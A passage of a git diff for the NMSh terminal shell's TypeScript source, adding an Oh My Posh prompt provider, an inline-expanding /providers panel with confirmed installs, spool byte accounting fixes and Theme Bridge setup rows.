configExists: false}; +} + +export async function detectOhMyPosh(configured?: string, env: NodeJS.ProcessEnv = process.env, + binary = resolveCommand('oh-my-posh', env.PATH ?? '')): Promise { + const config = ohMyPoshConfig(configured, env, env.HOME || homedir()); + if (!binary) return {installed: false, ...config}; + let version: string | undefined; + try { + const result = await execFileAsync(binary, ['version'], {timeout: 3000, maxBuffer: 4096, env: ohMyPoshEnvironment(env)}); + version = result.stdout.trim().split('\n')[0] || undefined; + } catch { /* Found; a failing version command does not hide that. */ } + return {installed: true, binary, ...(version ? {version} : {}), ...config}; +} + +/** The documented `print primary` argv. Every value is its own argv element; nothing is shell text. */ +export function ohMyPoshArgs(context: Pick, status: Pick, width = 200): string[] { + const exit = context.exitStatus; + return ['print', 'primary', `--pwd=${context.cwd}`, ...(exit === undefined ? ['--no-status'] : [`--status=${exit}`]), + `--terminal-width=${width}`, '--escape=false', ...(status.configPath ? [`--config=${status.configPath}`] : [])]; +} + +/** The environment is inherited minus POSH_CONFIG (the config is explicit argv) and anything that could hand it a TTY. */ +function ohMyPoshEnvironment(env: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + const {POSH_CONFIG: _config, ...rest} = env; + return {...rest, TERM: env.TERM || 'xterm-256color', NO_COLOR: undefined}; +} + +export function renderOhMyPoshPrompt(context: PromptContext, status: OhMyPoshStatus, env: NodeJS.ProcessEnv = process.env, + options: {timeoutMs?: number; signal?: AbortSignal; width?: number} = {}): Promise { + if (!status.installed || !status.binary) return Promise.reject(new Error('Oh My Posh is not installed or not available on PATH.')); + if (status.configPath && !status.configExists) return Promise.reject(new Error(`Oh My Posh config not found: ${status.configPath}`)); + const cwd = isAbsolute(context.cwd) ? context.cwd : process.cwd(); + return new Promise((resolvePrompt, reject) => { + const child = spawn(status.binary!, ohMyPoshArgs({...context, cwd}, status, options.width), { + cwd, env: ohMyPoshEnvironment(env), stdio: ['ignore', 'pipe', 'ignore'], detached: true, + }); + let stdout = ''; + let settled = false; + const kill = () => { try { process.kill(-child.pid!, 'SIGKILL'); } catch { child.kill('SIGKILL'); } }; + const finish = (error?: Error) => { + if (settled) return; + settled = true; + clearTimeout(timer); + options.signal?.removeEventListener('abort', abort); + if (error) reject(error); else resolvePrompt(parseStarshipPrompt(stdout)); + }; + const abort = () => { kill(); finish(new Error('Oh My Posh prompt was cancelled.')); }; + const timer = setTimeout(() => { kill(); finish(new Error('Oh My Posh prompt timed out.')); }, options.timeoutMs ?? 3000); + if (options.signal?.aborted) { abort(); return; } + options.signal?.addEventListener('abort', abort, {once: true}); + child.stdout.setEncoding('utf8'); + child.stdout.on('data', chunk => { + stdout += chunk; + if (stdout.length > OH_MY_POSH_OUTPUT_LIMIT) { kill(); finish(new Error('Oh My Posh prompt output exceeded its limit.')); } + }); + child.on('error', error => finish(error)); + child.on('close', code => finish(code === 0 ? undefined : new Error(`Oh My Posh exited with ${code}.`))); + }); +} diff --git a/src/providers/ProvidersOverview.ts b/src/providers/ProvidersOverview.ts index 5ae30ee1..70656ea1 100644 --- a/src/providers/ProvidersOverview.ts +++ b/src/providers/ProvidersOverview.ts @@ -4,19 +4,26 @@ import {renderControls} from '../ui/controls.js'; import {GLYPHS} from '../ui/glyphs.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {COLUMN_GUTTER, labelColumnWidth, padCells, truncateAnsi, truncateText} from '../util/text.js'; -import {familyFacts, PROVIDER_FAMILIES, type SwitchableFamily} from './families.js'; -import type {ProviderStatus} from './providers.js'; +import {familyFacts, providerFamily, PROVIDER_FAMILIES, type SwitchableFamily} from './families.js'; +import {providerInstall, type ProviderStatus} from './providers.js'; /** - * /providers: one overview of everything NMSh uses through a provider, what - * else is available, installed or missing, and the way into each family's - * existing panel. It reads the one configuration and runtime detection; it - * owns no provider state of its own. + * /providers: the one provider control surface. Every family is a row; + * Enter expands its providers inline in the same panel (never a second + * screen), Enter on a usable provider selects it at once, and Enter on a + * missing installable one opens an inline install confirmation (default No). + * It reads the one configuration and runtime detection; it owns no provider + * state of its own. */ export type OverviewRowId = SwitchableFamily | 'understanding' | 'shell'; export interface ProvidersOverviewState { selected: number; + expanded?: OverviewRowId; + /** Inline install confirmation under a provider row. */ + confirm?: {family: SwitchableFamily; id: string; yes: boolean}; + /** An install running inline. */ + installing?: {family: SwitchableFamily; id: string; line: string}; /** Detection still running. */ detecting: boolean; message?: string; @@ -32,27 +39,48 @@ export interface OverviewFacts { shell: {current: string; defaultShell: string}; } -export type OverviewAction = {kind: 'close'} | {kind: 'open'; row: OverviewRowId} | {kind: 'detect'}; +export type OverviewAction = + | {kind: 'close'} | {kind: 'detect'} + | {kind: 'open'; row: OverviewRowId} + | {kind: 'select'; family: SwitchableFamily; id: string} + | {kind: 'install'; family: SwitchableFamily; id: string}; export const OVERVIEW_ROWS: readonly OverviewRowId[] = [...PROVIDER_FAMILIES.map(family => family.family), 'understanding', 'shell']; -export function createProvidersOverview(): ProvidersOverviewState { - return {selected: 0, detecting: true}; +type Item = {kind: 'family'; row: OverviewRowId} | {kind: 'provider'; family: SwitchableFamily; id: string} | {kind: 'configure'; family: 'prompt'}; + +export function createProvidersOverview(focus?: SwitchableFamily): ProvidersOverviewState { + const state: ProvidersOverviewState = {selected: 0, detecting: true}; + if (focus) { state.expanded = focus; state.selected = OVERVIEW_ROWS.indexOf(focus); } + return state; } -export function providersOverviewKey(state: ProvidersOverviewState, key: Key): OverviewAction | undefined { - if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; - if (key.kind === 'up' || key.kind === 'down') { - state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + OVERVIEW_ROWS.length) % OVERVIEW_ROWS.length; - state.message = undefined; - return undefined; +export function overviewItems(state: ProvidersOverviewState): Item[] { + const items: Item[] = []; + for (const row of OVERVIEW_ROWS) { + items.push({kind: 'family', row}); + const definition = providerFamily(row); + if (state.expanded !== row || !definition) continue; + for (const provider of definition.providers) items.push({kind: 'provider', family: definition.family, id: provider.id}); + if (row === 'prompt') items.push({kind: 'configure', family: 'prompt'}); } - if (key.kind === 'enter') return {kind: 'open', row: OVERVIEW_ROWS[state.selected]!}; - if (key.kind === 'text' && key.value.toLowerCase() === 'r') return {kind: 'detect'}; - return undefined; + return items; } -/** One provider's factual state in words, never by color alone. */ +/** One provider's state in words and a glyph, never color alone. */ +export function providerStatusLabel(row: ReturnType['rows'][number], fallbackLabel: string): string { + const kind = row.descriptor.kind; + if (row.active) return '● Active'; + if (row.preferred) return `✓ Selected · fallback → ${fallbackLabel}`; + if (kind === 'native') return 'Built in'; + if (kind === 'none') return 'Off'; + if (!row.status) return 'Checking…'; + if (row.status.state === 'installed') return `Available${row.status.version ? ` · ${row.status.version}` : ''}`; + if (row.status.state === 'missing') return providerInstall(row.descriptor) ? 'Missing · Enter to install' : 'Missing'; + return `Unavailable${row.status.detail ? ` · ${row.status.detail}` : ''}`; +} + +/** Kept for callers that only need the install provenance wording. */ export function providerStateText(kind: string, status: ProviderStatus | undefined, nmshInstalled: boolean): string { if (kind === 'native') return 'Built in'; if (kind === 'none') return 'Off'; @@ -62,40 +90,114 @@ export function providerStateText(kind: string, status: ProviderStatus | undefin return `Unavailable${status.detail ? ` · ${status.detail}` : ''}`; } -export function renderProvidersOverview(state: ProvidersOverviewState, facts: OverviewFacts, columns: number): string[] { +export function providersOverviewKey(state: ProvidersOverviewState, key: Key, facts?: Pick): OverviewAction | undefined { + if (state.installing) return undefined; + if (state.confirm) { + if (key.kind === 'left' || key.kind === 'right') { state.confirm.yes = !state.confirm.yes; return undefined; } + if (key.kind === 'enter') { + const {family, id, yes} = state.confirm; + state.confirm = undefined; + if (yes) return {kind: 'install', family, id}; + state.message = 'Nothing was installed.'; + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') { state.confirm = undefined; state.message = 'Nothing was installed.'; } + return undefined; + } + const items = overviewItems(state); + state.selected = Math.max(0, Math.min(state.selected, items.length - 1)); + const item = items[state.selected]!; + if (key.kind === 'escape' || key.kind === 'interrupt') { + // Esc collapses the expanded family first; it closes only when nothing is expanded. + if (state.expanded) { + const row = state.expanded; + state.expanded = undefined; + state.selected = OVERVIEW_ROWS.indexOf(row); + return undefined; + } + return {kind: 'close'}; + } + if (key.kind === 'up' || key.kind === 'down') { + state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + items.length) % items.length; + state.message = undefined; + return undefined; + } + if (key.kind === 'text' && key.value.toLowerCase() === 'r') return {kind: 'detect'}; + if (key.kind !== 'enter' && !(key.kind === 'text' && key.value === ' ')) return undefined; + if (item.kind === 'family') { + if (item.row === 'understanding' || item.row === 'shell') return {kind: 'open', row: item.row}; + state.expanded = state.expanded === item.row ? undefined : item.row; + state.selected = overviewItems(state).findIndex(entry => entry.kind === 'family' && entry.row === item.row); + return undefined; + } + if (item.kind === 'configure') return {kind: 'open', row: 'prompt'}; + const definition = providerFamily(item.family)!; + const descriptor = definition.providers.find(provider => provider.id === item.id)!; + const status = facts?.statuses.get(descriptor.id); + if (descriptor.kind === 'external' && status?.state === 'missing') { + if (providerInstall(descriptor)) state.confirm = {family: item.family, id: item.id, yes: false}; + else state.message = `${descriptor.label} is not installed and NMSh has no verified install recipe for it here.`; + return undefined; + } + if (descriptor.kind === 'external' && status && status.state !== 'installed') { state.message = `${descriptor.label} is unavailable${status.detail ? `: ${status.detail}` : ''}.`; return undefined; } + return {kind: 'select', family: item.family, id: item.id}; +} + +export function renderProvidersOverview(state: ProvidersOverviewState, facts: OverviewFacts, columns: number, height = Infinity): string[] { const primary = foreground(UI_COLORS.primary); const secondary = foreground(UI_COLORS.secondary); const subtle = foreground(UI_COLORS.subtle); const accent = foreground(UI_COLORS.accent); const reset = '\u001b[0m'; - const rows = [`${primary} Providers${reset} ${subtle}what NMSh uses, what else is available · [active] is in use, ${GLYPHS.selection} is the selected row${reset}`, '']; + const items = overviewItems(state); + const selected = Math.max(0, Math.min(state.selected, items.length - 1)); + const lines: Array<{text: string; item?: number}> = [{text: `${primary} Providers${reset} ${subtle}what NMSh uses for each job · Enter expands a family and selects a provider${reset}`}, {text: ''}]; const nameWidth = labelColumnWidth([...PROVIDER_FAMILIES.map(family => family.title), 'Local understanding'], columns, 2, 30); const activeWidth = Math.max(8, Math.min(28, columns - 2 - nameWidth - 2 * COLUMN_GUTTER - 8)); - const line = (index: number, title: string, active: string, tag: string) => { - const selected = index === state.selected; - return `${selected ? `${accent}${GLYPHS.selection}` : ' '} ${selected ? primary : secondary}${padCells(title, nameWidth)}${reset}${primary}${padCells(truncateText(active, activeWidth), activeWidth)}${reset}${subtle}${tag}${reset}`; - }; - PROVIDER_FAMILIES.forEach((definition, index) => { - const familyState = familyFacts(definition, facts.configuration, facts.statuses); - const active = definition.providers.find(provider => provider.id === familyState.active)!; - rows.push(line(index, definition.title, active.label, familyState.notice ? `[active] fallback · ${familyState.notice}` : '[active]')); - if (index === state.selected) { - const providerWidth = labelColumnWidth(familyState.rows.map(row => row.descriptor.label), columns, 6, 16); - for (const row of familyState.rows) { - const marks = [row.active ? '[active]' : '', row.preferred && !row.active ? '[preferred]' : ''].filter(Boolean).join(' '); - const status = providerStateText(row.descriptor.kind, row.status, facts.installedByNmsh.has(row.descriptor.executable ?? row.descriptor.id)); - rows.push(` ${secondary}${padCells(row.descriptor.label, providerWidth)}${reset}${subtle}${status}${marks ? ` ${marks}` : ''}${row.status?.binary ? ` ${row.status.binary}` : ''}${reset}`); + const mark = (index: number) => index === selected ? `${accent}${GLYPHS.selection}${reset}` : ' '; + items.forEach((item, index) => { + const isSelected = index === selected; + if (item.kind === 'family') { + const expander = item.row === 'understanding' || item.row === 'shell' ? ' ' : state.expanded === item.row ? '▾' : '▸'; + const definition = providerFamily(item.row); + if (definition) { + const familyState = familyFacts(definition, facts.configuration, facts.statuses); + const active = definition.providers.find(provider => provider.id === familyState.active)!; + const preferred = definition.providers.find(provider => provider.id === familyState.preferred); + const tag = familyState.notice ? `Selected ${preferred?.label ?? familyState.preferred} · fallback → ${active.label}` : '● Active'; + lines.push({item: index, text: `${mark(index)} ${subtle}${expander}${reset} ${isSelected ? primary : secondary}${padCells(definition.title, nameWidth)}${reset}${primary}${padCells(truncateText(active.label, activeWidth), activeWidth)}${reset}${subtle}${tag}${reset}`}); + } else if (item.row === 'understanding') { + lines.push({item: index, text: `${mark(index)} ${isSelected ? primary : secondary}${padCells('Local understanding', nameWidth)}${reset}${primary}${padCells(truncateText(facts.understanding.active, activeWidth), activeWidth)}${reset}${subtle}Enter opens it${reset}`}); + if (isSelected) for (const detail of facts.understanding.detail) lines.push({text: ` ${subtle}${detail}${reset}`}); + } else { + lines.push({item: index, text: `${mark(index)} ${isSelected ? primary : secondary}${padCells('Shell', nameWidth)}${reset}${primary}${padCells(`${facts.shell.current} (this session)`, activeWidth)}${reset}${subtle}default ${facts.shell.defaultShell} · Enter opens /shell${reset}`}); } + return; + } + if (item.kind === 'configure') { + lines.push({item: index, text: `${mark(index)} ${isSelected ? accent : subtle}Configure the prompt (themes, styles, modules) in /prompt ›${reset}`}); + return; } + const definition = providerFamily(item.family)!; + const familyState = familyFacts(definition, facts.configuration, facts.statuses); + const row = familyState.rows.find(entry => entry.descriptor.id === item.id)!; + const fallbackLabel = definition.providers.find(provider => provider.id === definition.fallback)?.label ?? definition.fallback; + const providerWidth = labelColumnWidth(familyState.rows.map(entry => entry.descriptor.label), columns, 6, 16); + const description = row.descriptor.kind === 'external' && row.status?.binary ? row.status.binary : row.descriptor.description; + lines.push({item: index, text: `${mark(index)} ${isSelected ? primary : secondary}${padCells(row.descriptor.label, providerWidth)}${reset}${row.active ? accent : subtle}${padCells(providerStatusLabel(row, fallbackLabel), 38)}${reset}${subtle}${truncateText(description, 40)}${reset}`}); + if (state.confirm && state.confirm.family === item.family && state.confirm.id === item.id) { + const install = providerInstall(row.descriptor)!; + lines.push({text: ` ${primary}Install with: ${install.label}${reset}`}); + lines.push({text: ` ${primary}Install now?${reset} ${state.confirm.yes ? `${subtle}No${reset} ${accent}‹ Yes ›${reset}` : `${accent}‹ No ›${reset} ${subtle}Yes${reset}`} ${subtle}←→ choose · Enter confirm · Esc cancel${reset}`}); + } + if (state.installing && state.installing.family === item.family && state.installing.id === item.id) lines.push({text: ` ${subtle}${state.installing.line}${reset}`}); }); - const understandingIndex = PROVIDER_FAMILIES.length; - rows.push(line(understandingIndex, 'Local understanding', facts.understanding.active, '[active]')); - if (state.selected === understandingIndex) for (const detail of facts.understanding.detail) rows.push(` ${subtle}${detail}${reset}`); - rows.push(line(understandingIndex + 1, 'Shell', `${facts.shell.current} (this session)`, `default ${facts.shell.defaultShell} · managed in /shell`)); - rows.push('', ` ${subtle}Enter opens the family: switch, install (previewed, starts on No), configure. Uninstall of what NMSh installed is in /tools.${reset}`); - if (state.detecting) rows.push(` ${subtle}Detecting installed providers…${reset}`); - if (state.message) rows.push('', ` ${secondary}${state.message}${reset}`); - rows.push('', renderControls([['↑↓', 'select'], ['Enter', 'open'], ['R', 'detect again'], ['Esc', 'close']])); - return rows.map(row => truncateAnsi(row, columns)); + lines.push({text: ''}, {text: ` ${subtle}Selecting applies at once. Installs are shown first and start on No; uninstall of what NMSh installed is in /tools.${reset}`}); + if (state.detecting) lines.push({text: ` ${subtle}Detecting installed providers…${reset}`}); + if (state.message) lines.push({text: ''}, {text: ` ${secondary}${state.message}${reset}`}); + const controls = renderControls([['↑↓', 'select'], ['Enter', state.expanded ? 'select / collapse' : 'expand'], ['R', 'detect again'], ['Esc', state.expanded ? 'collapse' : 'close']]); + const budget = Number.isFinite(height) ? Math.max(3, height - 2) : lines.length; + const at = Math.max(0, lines.findIndex(line => line.item === selected)); + const start = lines.length <= budget ? 0 : Math.max(0, Math.min(at - Math.floor(budget / 2), lines.length - budget)); + return [...lines.slice(start, start + budget).map(line => line.text), '', controls].map(row => truncateAnsi(row, columns)); } - diff --git a/src/session/StreamBacklog.ts b/src/session/StreamBacklog.ts index cd6b0db9..216065e3 100644 --- a/src/session/StreamBacklog.ts +++ b/src/session/StreamBacklog.ts @@ -16,7 +16,12 @@ type SpoolRecord = BacklogEvent export interface BacklogLimits { /** Unacknowledged bytes kept in memory before spilling to the spool file. */ memoryBytes: number; - /** Spool size after which output payloads are dropped (with a counted marker). */ + /** + * Output bytes in the spool after which output payloads are dropped (with a + * counted marker). Command boundaries and prompt metadata are always kept + * and do not consume this budget, so a large alias/function list cannot make + * in-limit output look truncated. + */ spoolBytes: number; } @@ -85,7 +90,7 @@ export class StreamBacklog { private memory: BacklogEvent[] = []; private memoryBytes = 0; private spooled = false; - private spoolSize = 0; + private spoolOutput = 0; private acked = 0; private journal?: string; private truncated = 0; @@ -146,18 +151,18 @@ export class StreamBacklog { // The runtime directory is private (0700); the spool directory is too. mkdirSync(dirname(this.spoolPath), {recursive: true, mode: 0o700}); this.spooled = true; - this.spoolSize = 0; + this.spoolOutput = 0; if (this.acked > 0) records.push({kind: 'ack', seq: this.acked, journalId: this.journal ?? ''}); } let dropped = 0; for (const event of this.memory) { - if (event.kind === 'output' && this.spoolSize + event.data.length > this.limits.spoolBytes) { + if (event.kind === 'output' && this.spoolOutput + event.data.length > this.limits.spoolBytes) { dropped += event.data.length; continue; } if (dropped > 0) { records.push({kind: 'truncated', bytes: dropped}); this.truncated += dropped; dropped = 0; } records.push(event); - this.spoolSize += eventBytes(event); + if (event.kind === 'output') this.spoolOutput += event.data.length; this.lastSpooledSeq = event.seq; } if (dropped > 0) { records.push({kind: 'truncated', bytes: dropped}); this.truncated += dropped; } @@ -175,7 +180,7 @@ export class StreamBacklog { private removeSpool(): void { try { unlinkSync(this.spoolPath); } catch { /* already gone */ } this.spooled = false; - this.spoolSize = 0; + this.spoolOutput = 0; } /** Bytes currently on disk; for tests and diagnostics. */ diff --git a/src/sessions/TranscriptStore.ts b/src/sessions/TranscriptStore.ts index 79e0078c..d915fb6a 100644 --- a/src/sessions/TranscriptStore.ts +++ b/src/sessions/TranscriptStore.ts @@ -92,10 +92,11 @@ function isTranscript(value: unknown): value is OutputTranscript { && (record.historicalContext === undefined || (typeof record.historicalContext.cwd === 'string' && (record.historicalContext.project === undefined || typeof record.historicalContext.project === 'string') - && (record.historicalContext.branch === undefined || typeof record.historicalContext.branch === 'string'))) + && (record.historicalContext.branch === undefined || typeof record.historicalContext.branch === 'string') + && (record.historicalContext.promptless === undefined || record.historicalContext.promptless === true))) && (record.historicalContext?.prompt === undefined || (typeof record.historicalContext.prompt === 'object' && record.historicalContext.prompt !== null - && ['nmsh', 'starship', 'powerlevel10k'].includes(record.historicalContext.prompt.provider) + && ['nmsh', 'starship', 'powerlevel10k', 'ohMyPosh'].includes(record.historicalContext.prompt.provider) && Array.isArray(record.historicalContext.prompt.segments) && (record.historicalContext.prompt.gapEnabled === undefined || typeof record.historicalContext.prompt.gapEnabled === 'boolean') && record.historicalContext.prompt.segments.every(segment => segment && typeof segment.text === 'string' diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index c54ea2f3..e83cadf2 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -46,6 +46,8 @@ export const NATIVE_PROMPT_RECOMMENDATION = 'NMSh Native is recommended for the export const NATIVE_ONLY_NOTE = 'Native prompt style settings apply only to NMSh Native.'; export {CHROMA_PREVIEW_NOTE, CHROMA_SCOPE_NOTE} from '../appearance/chromaNotes.js'; import {CHROMA_SCOPE_NOTE} from '../appearance/chromaNotes.js'; +import {librarySummary} from '../appearance/themeLibrary.js'; +import {BRIDGE_TARGET_LABELS, type BridgeTargetId} from '../themeBridge/model.js'; export const NATIVE_FIRST_SHORT = 'NMSh works fully with its Native providers. External tools are optional alternatives or enhancements. You can change providers anytime.'; /** What happens with optional tools after Apply. Installs are always separate, explicit confirmations. */ @@ -68,6 +70,8 @@ export interface SetupContext { preview?: readonly string[]; /** The title as painted by the app (a one-pass light sweep); plain when absent. */ title?: string; + /** Theme Bridge targets found on this system (local PATH facts), so Setup shows only relevant ones. */ + bridgeTargets?: readonly BridgeTargetId[]; } export interface SetupRow { @@ -84,7 +88,7 @@ export interface SetupSection { intro: readonly string[]; rows: readonly SetupRow[]; /** Rows that depend on the draft (the Native prompt style's own fields), appended after `rows`. */ - dynamicRows?: (draft: PromptConfiguration) => readonly SetupRow[]; + dynamicRows?: (draft: PromptConfiguration, context?: SetupContext) => readonly SetupRow[]; /** Muted informational lines after the rows. */ facts?: (draft: PromptConfiguration, context: SetupContext) => string[]; } @@ -154,7 +158,7 @@ const SEPARATOR_ROW: SettingsRow = {id: 'setupSeparator', parent: 'promptStyle', /** Rows that only affect the Native prompt disappear while an external prompt provider is selected. */ const nativeOnly = (row: SettingsRow): SettingsRow => ({...row, when: config => config.provider === 'nmsh' && (row.when?.(config) ?? true)}); -const PROMPT_PROVIDER_ROW = providerRow('setupPromptProvider', 'Prompt provider', 'Native prompt, or your existing Starship / Powerlevel10k', 'Prompt', +const PROMPT_PROVIDER_ROW = providerRow('setupPromptProvider', 'Prompt provider', 'Native prompt, your existing Starship / Powerlevel10k, or None (composer only)', 'Prompt', PROMPT_PROVIDERS, config => config.provider, (config, provider) => ({...config, provider})); /** @@ -162,6 +166,26 @@ const PROMPT_PROVIDER_ROW = providerRow('setupPromptProvider', * lost), then opens the real editor. The row says so; it is a route, never a * second configuration path. */ +/** Setup's single Theme Bridge question; Yes only reveals the detected tools, each still Independent. */ +const THEME_BRIDGE_ROW: SettingsRow = {id: 'setupThemeBridge', label: 'Extend colors to tools?', description: 'Theme Bridge: opt-in colors for fzf, less/man, LS_COLORS, tmux, Neovim and Vim', + category: 'Appearance', control: 'enum', options: ['No', 'Yes'], index: c => c.themeBridge.enabled ? 1 : 0, + select: (c, index) => ({...c, themeBridge: {...c.themeBridge, enabled: index === 1}})}; + +const SETUP_BRIDGE_TARGETS: readonly BridgeTargetId[] = ['fzf', 'pager', 'lsColors', 'tmux', 'neovim', 'vim', 'helix']; + +function bridgeTargetRows(draft: PromptConfiguration, context: SetupContext | undefined): SetupRow[] { + if (!draft.themeBridge.enabled) return []; + const found = new Set(context?.bridgeTargets ?? []); + return SETUP_BRIDGE_TARGETS.filter(target => found.has(target)).map(target => ({ + row: {id: `setupBridge:${target}`, parent: 'setupThemeBridge', label: ` ${BRIDGE_TARGET_LABELS[target]}`, description: 'Independent, or follow the active NMSh theme', category: 'Appearance', + control: 'enum', options: ['Independent', 'Follow NMSh'], index: c => c.themeBridge.targets[target].mode === 'independent' ? 0 : c.themeBridge.targets[target].mode === 'follow' ? 1 : 1, + select: (c, index) => ({...c, themeBridge: {...c.themeBridge, targets: {...c.themeBridge.targets, [target]: {...c.themeBridge.targets[target], mode: index === 1 ? (c.themeBridge.targets[target].mode === 'choose' ? 'choose' : 'follow') : 'independent'}}}})}, + note: () => target === 'tmux' || target === 'neovim' || target === 'vim' || target === 'helix' + ? 'NMSh generates its own color file; adding it to your config is a separate, reviewed step in /theme-bridge' + : target === 'fzf' ? 'Only fzf launched by NMSh; FZF_DEFAULT_OPTS and your rc files are untouched' : 'Applied in NMSh shells at the next prompt; no rc file is edited', + } satisfies SetupRow)); +} + function routeRow(id: string, label: string, description: string, destination: SettingsDestination, category: string): SetupRow { return {row: {id, label, description, category, control: 'action', actionLabel: 'Open ›', destination}, note: () => 'Enter applies this Setup first, then opens it; it keeps the choices you made here'}; @@ -234,17 +258,19 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ ], facts: draft => [`Renderer in use: ${chooseBackend(draft.cursor, currentCursorHost()).reason}`]}, {id: 'prompt', title: 'Prompt', intro: [NATIVE_PROMPT_RECOMMENDATION, 'Deep prompt customization lives in /prompt.'], rows: [ {...PROMPT_PROVIDER_ROW, note: (draft, context) => draft.provider === 'nmsh' ? 'Built in · no installation required' - : `${PROMPT_PROVIDER_ROW.note!(draft, context)} · ${NATIVE_ONLY_NOTE}`}, + : draft.provider === 'none' ? 'None · composer only · themes still style NMSh UI, syntax and Theme Bridge' : `${PROMPT_PROVIDER_ROW.note!(draft, context)} · ${NATIVE_ONLY_NOTE}`}, {row: nativeOnly(configRow('promptStyle'))}, {row: nativeOnly(SEPARATOR_ROW)}, {row: configRow('promptSymbol')}, + // The one canonical Chroma setting (also in Appearance, /prompt, /appearance and /chroma). + {row: configRow('treatmentPreset'), note: () => 'The same Chroma setting as Appearance and /chroma; P toggles the preview only'}, routeRow('setupPromptModules', 'Prompt modules & custom glyphs', 'Which modules show and in what order, and your own separator or prompt glyph, in /prompt', 'prompt', 'Prompt'), ], dynamicRows: draft => promptStyleRows(draft)}, {id: 'appearance', title: 'Appearance', intro: [ 'Theme: the base NMSh prompt/UI palette · Theme text: whether it colors NMSh text · UI chrome: frames, tabs, selection, separators, accents.', 'Chroma: an optional treatment over the Native prompt/effects and opted-in surfaces; Full Chroma may override the prompt\'s theme colors. Your terminal and editor keep their own colors.', ], rows: [ - {row: configRow('themeFamily'), note: () => '/theme makes your own'}, + {row: configRow('themeFamily'), note: () => 'Built-in, Imported and Custom themes; /theme creates, imports and edits them'}, {row: configRow('themeVariant')}, {row: configRow('themeAccent')}, {row: configRow('themeText')}, @@ -267,9 +293,14 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('shimmer')}, {row: configRow('autoEffects')}, routeRow('setupChromeColors', 'Edit UI chrome colors', 'Accent, text, separator, selection and status roles with the color picker', 'chromeColors', 'Appearance'), - routeRow('setupThemeStudio', 'Theme Studio (custom themes)', 'Clone, edit, import and export your own theme', 'themeStudio', 'Appearance'), + {...routeRow('setupThemeStudio', 'Theme Studio', 'Create, edit, import, export and manage Native themes; selection is above', 'themeStudio', 'Appearance'), + row: {id: 'setupThemeStudio', label: 'Theme Studio', description: 'Create, edit, import, export and manage Native themes; selection is above', category: 'Appearance', + control: 'action', actionLabel: 'Open ›', destination: 'themeStudio', value: draft => [librarySummary(draft.themes), 'Open ›'].filter(Boolean).join(' ')}}, + {row: THEME_BRIDGE_ROW, note: draft => draft.themeBridge.enabled + ? 'Only tools found on this system are listed; each starts Independent. Choose theme and includes for tmux/Neovim/Vim are in /theme-bridge' + : 'No: every tool keeps its own colors; NMSh injects and changes nothing'}, routeRow('setupHostWindow', 'Terminal window (opacity, blur)', 'Host window opacity and blur where your terminal supports it', 'appearance', 'Appearance'), - ]}, + ], dynamicRows: (draft, context) => bridgeTargetRows(draft, context)}, // General NMSh motion: the same rows /appearance → Motion edits, with the same real previews. {id: 'motion', title: 'Motion', intro: ['Short, finite presentations of real events. Each can be Off; Reduced Motion, Decorative Effects Off and NO_COLOR stop all of them.', 'The preview below runs the selected one on sample content, once; it never touches your session.'], rows: [{row: configRow('motion_rendering')}, ...MOTION_ROWS.map(item => ({row: configRow(`motion_${item.key}`)})), {row: configRow('motion_intensity')}, {row: configRow('motion_speed')}]}, @@ -388,14 +419,14 @@ function localUnderstandingNote(draft: PromptConfiguration): string { export const SETUP_EQUIVALENTS: Readonly> = { provider: 'setupPromptProvider', welcome: 'setupWelcome', suggestions: 'setupSuggestions', history: 'setupHistory', navigation: 'setupNavigation', picker: 'setupPicker', cursorSpeed: 'cursorAdvanced', cursorIntensity: 'cursorAdvanced', cursorTrail: 'cursorAdvanced', cursorParticles: 'cursorAdvanced', - tools: 'setupToolChoice', uiChromeColors: 'setupChromeColors', idleCustomColors: 'setupIdleColors', activityCustomColors: 'setupActivityColors', + tools: 'setupToolChoice', themeStudio: 'setupThemeStudio', themeBridge: 'setupThemeBridge', uiChromeColors: 'setupChromeColors', idleCustomColors: 'setupIdleColors', activityCustomColors: 'setupActivityColors', }; /** Where each Settings entry point (a full panel) is reached from Setup: a section, or the route row that opens it. */ export const SETUP_ENTRY_COVERAGE: Readonly> = { appearance: 'setupHostWindow', glyph: 'glyphStyle', prompt: 'setupPromptModules', transcript: 'transcriptPresentation', syntax: 'syntaxHighlighting', keyboard: 'setupKeyboard', welcome: 'setupWelcome', suggestions: 'setupSuggestions', history: 'setupHistory', picker: 'setupPicker', navigation: 'setupNavigation', layout: 'composerPosition', toolConfig: 'setupToolConfig', tools: 'setupBrowseTools', screensaver: 'idleTimeout', setup: 'setupToolChoice', - cursor: 'cursorAdvanced', themeStudio: 'setupThemeStudio', chromeColors: 'setupChromeColors', idleColors: 'setupIdleColors', activityColors: 'setupActivityColors', resetInstallSuggestions: 'resetInstallSuggestions', + cursor: 'cursorAdvanced', themeStudio: 'setupThemeStudio', themeBridge: 'setupThemeBridge', chromeColors: 'setupChromeColors', idleColors: 'setupIdleColors', activityColors: 'setupActivityColors', resetInstallSuggestions: 'resetInstallSuggestions', }; function completionFacts(facts: CompletionFacts | undefined): string[] { @@ -428,6 +459,12 @@ export interface SetupState { * Esc returns here, and nothing is saved until Apply. */ cursorPanel?: CursorPanelState; + /** + * Local preview only (P on Prompt/Appearance): show the preview through the + * draft's Chroma. Off by default so the base theme colors are visible; it + * never changes the draft or the saved Chroma. + */ + previewChroma?: boolean; /** The cursor preview restarts when the selected row or the draft's cursor settings change. */ previewKey?: string; previewStart?: number; @@ -500,12 +537,12 @@ export type SetupResult = | {kind: 'apply'; configuration: PromptConfiguration; tools: ToolChoice; changed: boolean; then?: SettingsDestination}; /** Rows that apply to the draft (a child row disappears when its parent makes it meaningless). */ -function sectionRows(section: SetupSection, draft: PromptConfiguration): readonly SetupRow[] { - return [...section.rows, ...(section.dynamicRows?.(draft) ?? [])]; +function sectionRows(section: SetupSection, draft: PromptConfiguration, context?: SetupContext): readonly SetupRow[] { + return [...section.rows, ...(section.dynamicRows?.(draft, context) ?? [])]; } function currentRows(state: SetupState): readonly SetupRow[] { - const rows = sectionRows(SETUP_SECTIONS[state.section]!, state.draft).filter(item => setupRowApplies(item.row, state.draft)); 